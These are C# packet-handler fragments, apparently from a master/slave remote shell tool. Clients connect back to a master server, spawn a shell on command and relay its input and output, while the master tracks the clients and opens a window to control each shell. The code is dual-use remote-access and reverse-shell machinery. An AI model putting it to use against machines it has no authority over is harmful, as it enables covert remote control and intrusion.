public override void HandlePacket(object sender, string packet_raw)
{
Packet packet = Packet.Deserialize(packet_raw);
if (packet.Type == "ConnectPipePacket")
{
ConnectPipePacket_PacketProcessor connectPipePacket_PacketProcessor
= new ConnectPipePacket_PacketProcessor(Connection, ConnectPipePacket.Deserialize(packet_raw),
new Dictionary <Guid, Client> {
{ SlaveGlobalData.LocalClient.UniqueId, SlaveGlobalData.LocalClient }
});
connectPipePacket_PacketProcessor.Process();
return;
}
if (packet.Type == "DisconnectPipePacket")
{
DisconnectPipePacket_PacketProcessor disconnectPipePacket_PacketProcessor
= new DisconnectPipePacket_PacketProcessor(Connection, DisconnectPipePacket.Deserialize(packet_raw),
new Dictionary <Guid, Client> {
{ SlaveGlobalData.LocalClient.UniqueId, SlaveGlobalData.LocalClient }
});
disconnectPipePacket_PacketProcessor.Process();
return;
}
if (packet.Type == "ConnectShellPacket")
{
ConnectShellPacket_PacketProcessor connectShellPacket_PacketProcessor
= new ConnectShellPacket_PacketProcessor(Connection, ConnectShellPacket.Deserialize(packet_raw),
new Dictionary <Guid, Client> {
{ SlaveGlobalData.LocalClient.UniqueId, SlaveGlobalData.LocalClient }
},
SlaveGlobalData.MasterServerInfo.RemoteServer);
Shell shell = connectShellPacket_PacketProcessor.Process();
if (shell == null)
{
return; // fuckup
}
SlaveGlobalData.ShellListenerLoop = new PacketListenerLoop(shell.Connection, new Shell_PacketHandler(shell.Connection, SlaveGlobalData.LocalClient, shell));
SlaveGlobalData.ShellInstance = shell;
SlaveGlobalData.ShellOutputChangedHandler = (s, e) =>
{
Shell_IO_ChangedPacket shell_IO_Changed = new Shell_IO_ChangedPacket(ChangeType.Output, e.Change);
shell.Connection.SendPacket(shell_IO_Changed);
};
shell.ShellOutputChanged += SlaveGlobalData.ShellOutputChangedHandler;
Task.Run(() => SlaveGlobalData.ShellListenerLoop.Run());
}
}
public override void HandlePacket(object sender, string packet_raw)
{
Packet packet = Packet.Deserialize(packet_raw);
if (packet.Type == "Shell_IO_ChangedPacket")
{
Shell_IO_ChangedPacket shell_IO_changed = Shell_IO_ChangedPacket.Deserialize(packet_raw);
if (shell_IO_changed.ChangeType == ChangeType.Input)
{
ShellInstance.Write(shell_IO_changed.Change);
}
}
if (packet.Type == "SetShellStatePacket")
{
SetShellStatePacket setShellState = SetShellStatePacket.Deserialize(packet_raw);
if (setShellState.ShellUniqueId != ShellInstance.UniqueId)
{
ShellStateSetPacket result_fail = new ShellStateSetPacket(setShellState.ClientUniqueId, setShellState.ShellUniqueId,
setShellState.ShellState, false);
Connection.SendPacket(result_fail);
return;
}
switch (setShellState.ShellState)
{
case ShellState.Running:
ShellInstance.Start();
break;
case ShellState.Stopped:
ShellInstance.Stop();
break;
}
ShellStateSetPacket result_success = new ShellStateSetPacket(setShellState.ClientUniqueId, setShellState.ShellUniqueId,
setShellState.ShellState, true);
Connection.SendPacket(result_success);
}
if (packet.Type == "DisconnectShellPacket")
{
DisconnectShellPacket disconnectShellPacket = DisconnectShellPacket.Deserialize(packet_raw);
if (disconnectShellPacket.ClientUniqueId != Client.UniqueId)
{
ShellDisconnectedPacket result_fail = new ShellDisconnectedPacket(Client.UniqueId, ShellInstance.UniqueId, false);
Connection.SendPacket(result_fail);
return;
}
if (disconnectShellPacket.ShellUniqueId != ShellInstance.UniqueId)
{
ShellDisconnectedPacket result_fail = new ShellDisconnectedPacket(Client.UniqueId, ShellInstance.UniqueId, false);
Connection.SendPacket(result_fail);
return;
}
ShellInstance.Stop();
ShellInstance.ShellOutputChanged -= SlaveGlobalData.ShellOutputChangedHandler;
SlaveGlobalData.ShellOutputChangedHandler = null;
SlaveGlobalData.ShellInstance = null;
if (SlaveGlobalData.ShellListenerLoop != null)
{
SlaveGlobalData.ShellListenerLoop.AbortLoop = true;
SlaveGlobalData.ShellListenerLoop = null;
}
DisconnectPipePacket disconnectPipePacket = new DisconnectPipePacket(Client.UniqueId, PipeType.Shell);
Client.Pipes.MainPipe.SendPacket(disconnectPipePacket);
ShellDisconnectedPacket result_success = new ShellDisconnectedPacket(Client.UniqueId, ShellInstance.UniqueId, true);
Connection.SendPacket(result_success);
}
}
public override void HandlePacket(object sender, string packet_raw)
{
Packet packet = Packet.Deserialize(packet_raw);
if (packet.Type == "AuthenticateConnectionPacket")
{
AuthenticateConnectionPacket_PacketProcessor authenticateConnectionPacket_PacketProcessor
= new AuthenticateConnectionPacket_PacketProcessor(Connection, AuthenticateConnectionPacket.Deserialize(packet_raw));
Client client = authenticateConnectionPacket_PacketProcessor.Process();
MasterListener.ConnectedClients.Add(client.UniqueId, client);
/////////////////////////////////////////////////////////////////////
Task.Run(() =>
{
//Thread.Sleep(1000);
//ConnectShellPacket shell_packet = new ConnectShellPacket(client.UniqueId);
//client.Pipes.MainPipe.SendPacket(shell_packet);
//Console.WriteLine($"Told client {client.UniqueId} to spawn a new shell.");
});
/////////////////////////////////////////////////////////////////////
return;
}
if (packet.Type == "ConnectPipePacket")
{
ConnectPipePacket connectPipePacket = ConnectPipePacket.Deserialize(packet_raw);
ConnectPipePacket_PacketProcessor connectPipePacket_PacketProcessor
= new ConnectPipePacket_PacketProcessor(Connection, connectPipePacket, MasterListener.ConnectedClients);
connectPipePacket_PacketProcessor.Process();
if (connectPipePacket.PipeType == PipeType.Ping)
{
// Exception in packet handling (dosłownie wyjątek, nie błąd)
if (!MasterListener.ConnectedClients.ContainsKey(connectPipePacket.ClientId))
{
return;
}
PacketListenerLoop parent_loop = sender as PacketListenerLoop;
TcpConnection connection = parent_loop.Connection;
parent_loop.AbortLoop = true;
Task.Run(() =>
{
// Redirect connection to the ping service
MasterListener.PingService.AddClient(MasterListener.ConnectedClients[connectPipePacket.ClientId], false);
MasterListener.PingService.ConnectedClients[connectPipePacket.ClientId].WaitForTimeout();
Console.WriteLine("Stop redirecting ping pipe");
Task.Run(() => parent_loop.Run());
});
}
return;
}
if (packet.Type == "DisconnectPipePacket")
{
DisconnectPipePacket_PacketProcessor disconnectPipePacket_PacketProcessor
= new DisconnectPipePacket_PacketProcessor(Connection, DisconnectPipePacket.Deserialize(packet_raw), MasterListener.ConnectedClients);
disconnectPipePacket_PacketProcessor.Process();
return;
}
if (packet.Type == "ShellConnectedPacket")
{
// Exception in packet handling (dosłownie wyjątek, nie błąd)
ShellConnectedPacket shellConnectedPacket = ShellConnectedPacket.Deserialize(packet_raw);
if (!shellConnectedPacket.Success)
{
return;
}
// Redirects all packets from now on to a new packet handler
PacketListenerLoop parent_loop = sender as PacketListenerLoop;
TcpConnection connection = parent_loop.Connection;
parent_loop.AbortLoop = true;
Task.Run(() =>
{
// Spawn a new shell emulator window
ShellWindow shellWindow = new ShellWindow(shellConnectedPacket.ShellUniqueId, connection,
MasterListener.ConnectedClients[shellConnectedPacket.ClientUniqueId]);
shellWindow.ShowDialog();
// Stop redirecting the packets on this connection
Console.WriteLine("Stop redirecting");
Task.Run(() => parent_loop.Run());
});
}
}
public DisconnectPipePacket_PacketProcessor(TcpConnection connection, DisconnectPipePacket packet, Dictionary <Guid, Client> connectedClients)
{
Connection = connection;
Packet = packet;
ConnectedClients = connectedClients;
}
